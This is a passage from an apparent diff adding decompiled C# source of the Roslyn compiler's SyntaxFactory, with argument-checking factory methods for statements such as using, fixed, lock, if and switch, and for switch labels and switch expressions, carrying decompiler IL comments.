(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax UsingStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return UsingStatement(attributeLists, default(SyntaxToken), Token(SyntaxKind.UsingKeyword), Token(SyntaxKind.OpenParenToken), declaration, expression, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax UsingStatement(Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return UsingStatement(default(SyntaxList), default(SyntaxToken), Token(SyntaxKind.UsingKeyword), Token(SyntaxKind.OpenParenToken), null, null, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FixedStatementSyntax FixedStatement(SyntaxList attributeLists, SyntaxToken fixedKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (fixedKeyword.Kind() != SyntaxKind.FixedKeyword) + { + throw new ArgumentException("fixedKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (declaration == null) + { + throw new ArgumentNullException("declaration"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FixedStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FixedStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref fixedKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDeclarationSyntax)(object)((SyntaxNode)declaration).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FixedStatementSyntax FixedStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return FixedStatement(attributeLists, Token(SyntaxKind.FixedKeyword), Token(SyntaxKind.OpenParenToken), declaration, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FixedStatementSyntax FixedStatement(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return FixedStatement(default(SyntaxList), Token(SyntaxKind.FixedKeyword), Token(SyntaxKind.OpenParenToken), declaration, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CheckedStatementSyntax CheckedStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken keyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8815 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + SyntaxKind syntaxKind = keyword.Kind(); + if (syntaxKind - 8379 > SyntaxKind.List) + { + throw new ArgumentException("keyword"); + } + if (block == null) + { + throw new ArgumentNullException("block"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CheckedStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CheckedStatement(kind, GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)block).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CheckedStatementSyntax CheckedStatement(SyntaxKind kind, SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return CheckedStatement(kind, attributeLists, Token(GetCheckedStatementKeywordKind(kind)), block); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CheckedStatementSyntax CheckedStatement(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block = null) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return CheckedStatement(kind, default(SyntaxList), Token(GetCheckedStatementKeywordKind(kind)), block ?? Block()); + } + + private static SyntaxKind GetCheckedStatementKeywordKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.CheckedStatement => SyntaxKind.CheckedKeyword, + SyntaxKind.UncheckedStatement => SyntaxKind.UncheckedKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UnsafeStatementSyntax UnsafeStatement(SyntaxList attributeLists, SyntaxToken unsafeKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (unsafeKeyword.Kind() != SyntaxKind.UnsafeKeyword) + { + throw new ArgumentException("unsafeKeyword"); + } + if (block == null) + { + throw new ArgumentNullException("block"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.UnsafeStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.UnsafeStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref unsafeKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)block).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UnsafeStatementSyntax UnsafeStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return UnsafeStatement(attributeLists, Token(SyntaxKind.UnsafeKeyword), block); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UnsafeStatementSyntax UnsafeStatement(Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block = null) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + return UnsafeStatement(default(SyntaxList), Token(SyntaxKind.UnsafeKeyword), block ?? Block()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LockStatementSyntax LockStatement(SyntaxList attributeLists, SyntaxToken lockKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (lockKeyword.Kind() != SyntaxKind.LockKeyword) + { + throw new ArgumentException("lockKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LockStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LockStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref lockKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LockStatementSyntax LockStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return LockStatement(attributeLists, Token(SyntaxKind.LockKeyword), Token(SyntaxKind.OpenParenToken), expression, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LockStatementSyntax LockStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return LockStatement(default(SyntaxList), Token(SyntaxKind.LockKeyword), Token(SyntaxKind.OpenParenToken), expression, Token(SyntaxKind.CloseParenToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IfStatementSyntax IfStatement(SyntaxList attributeLists, SyntaxToken ifKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, Microsoft.CodeAnalysis.CSharp.Syntax.ElseClauseSyntax? @else) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (ifKeyword.Kind() != SyntaxKind.IfKeyword) + { + throw new ArgumentException("ifKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (condition == null) + { + throw new ArgumentNullException("condition"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.IfStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.IfStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref ifKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green, (@else == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ElseClauseSyntax)(object)((SyntaxNode)@else).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IfStatementSyntax IfStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, Microsoft.CodeAnalysis.CSharp.Syntax.ElseClauseSyntax? @else) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return IfStatement(attributeLists, Token(SyntaxKind.IfKeyword), Token(SyntaxKind.OpenParenToken), condition, Token(SyntaxKind.CloseParenToken), statement, @else); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IfStatementSyntax IfStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return IfStatement(default(SyntaxList), Token(SyntaxKind.IfKeyword), Token(SyntaxKind.OpenParenToken), condition, Token(SyntaxKind.CloseParenToken), statement, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElseClauseSyntax ElseClause(SyntaxToken elseKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (elseKeyword.Kind() != SyntaxKind.ElseKeyword) + { + throw new ArgumentException("elseKeyword"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ElseClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElseClause((SyntaxToken)(object)((SyntaxToken)(ref elseKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ElseClauseSyntax ElseClause(Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ElseClause(Token(SyntaxKind.ElseKeyword), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchStatementSyntax SwitchStatement(SyntaxList attributeLists, SyntaxToken switchKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxToken openBraceToken, SyntaxList sections, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + if (switchKeyword.Kind() != SyntaxKind.SwitchKeyword) + { + throw new ArgumentException("switchKeyword"); + } + SyntaxKind syntaxKind = openParenToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + syntaxKind = closeParenToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SwitchStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SwitchStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref switchKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenList(sections.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchSectionSyntax SwitchSection(SyntaxList labels, SyntaxList statements) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return (Microsoft.CodeAnalysis.CSharp.Syntax.SwitchSectionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SwitchSection(GreenNodeExtensions.ToGreenList(labels.Node), GreenNodeExtensions.ToGreenList(statements.Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchSectionSyntax SwitchSection() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return SwitchSection(default(SyntaxList), default(SyntaxList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CasePatternSwitchLabelSyntax CasePatternSwitchLabel(SyntaxToken keyword, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern, Microsoft.CodeAnalysis.CSharp.Syntax.WhenClauseSyntax? whenClause, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.CaseKeyword) + { + throw new ArgumentException("keyword"); + } + if (pattern == null) + { + throw new ArgumentNullException("pattern"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CasePatternSwitchLabelSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CasePatternSwitchLabel((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)pattern).Green, (whenClause == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WhenClauseSyntax)(object)((SyntaxNode)whenClause).Green), (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CasePatternSwitchLabelSyntax CasePatternSwitchLabel(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern, Microsoft.CodeAnalysis.CSharp.Syntax.WhenClauseSyntax? whenClause, SyntaxToken colonToken) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return CasePatternSwitchLabel(Token(SyntaxKind.CaseKeyword), pattern, whenClause, colonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CasePatternSwitchLabelSyntax CasePatternSwitchLabel(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern, SyntaxToken colonToken) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return CasePatternSwitchLabel(Token(SyntaxKind.CaseKeyword), pattern, null, colonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CaseSwitchLabelSyntax CaseSwitchLabel(SyntaxToken keyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax value, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.CaseKeyword) + { + throw new ArgumentException("keyword"); + } + if (value == null) + { + throw new ArgumentNullException("value"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CaseSwitchLabelSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CaseSwitchLabel((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)value).Green, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CaseSwitchLabelSyntax CaseSwitchLabel(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax value, SyntaxToken colonToken) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return CaseSwitchLabel(Token(SyntaxKind.CaseKeyword), value, colonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefaultSwitchLabelSyntax DefaultSwitchLabel(SyntaxToken keyword, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (keyword.Kind() != SyntaxKind.DefaultKeyword) + { + throw new ArgumentException("keyword"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DefaultSwitchLabelSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DefaultSwitchLabel((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefaultSwitchLabelSyntax DefaultSwitchLabel(SyntaxToken colonToken) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return DefaultSwitchLabel(Token(SyntaxKind.DefaultKeyword), colonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionSyntax SwitchExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax governingExpression, SyntaxToken switchKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList arms, SyntaxToken closeBraceToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + if (governingExpression == null) + { + throw new ArgumentNullException("governingExpression"); + } + if (switchKeyword.Kind() != SyntaxKind.SwitchKeyword) + { + throw new ArgumentException("switchKeyword"); + } + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SwitchExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)governingExpression).Green, (SyntaxToken)(object)((SyntaxToken)(ref switchKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(arms.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionSyntax SwitchExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax governingExpression, SeparatedSyntaxList arms) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return SwitchExpression(governingExpression, Token(SyntaxKind.SwitchKeyword), Token(SyntaxKind.OpenBraceToken), arms, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionSyntax SwitchExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax governingExpression) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return SwitchExpression(governingExpression, Token(SyntaxKind.SwitchKeyword), Token(SyntaxKind.OpenBraceToken), default(SeparatedSyntaxList), Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionArmSyntax SwitchExpressionArm(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern, Microsoft.CodeAnalysis.CSharp.Syntax.WhenClauseSyntax? whenClause, SyntaxToken equalsGreaterThanToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (pattern == null) + { + throw new ArgumentNullException("pattern"); + } + if (equalsGreaterThanToken.Kind() != SyntaxKind.EqualsGreaterThanToken) + { + throw new ArgumentException("equalsGreaterThanToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionArmSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SwitchExpressionArm((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)pattern).Green, (whenClause == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.WhenClauseSyntax)(object)((SyntaxNode)whenClause).Green), (SyntaxToken)(object)((SyntaxToken)(ref equalsGreaterThanToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionArmSyntax SwitchExpressionArm(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern, Microsoft.CodeAnalysis.CSharp.Syntax.WhenClauseSyntax? whenClause, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return SwitchExpressionArm(pattern, whenClause, Token(SyntaxKind.EqualsGreaterThanToken), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchExpressionArmSyntax SwitchExpressionArm(Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0007: Unknown 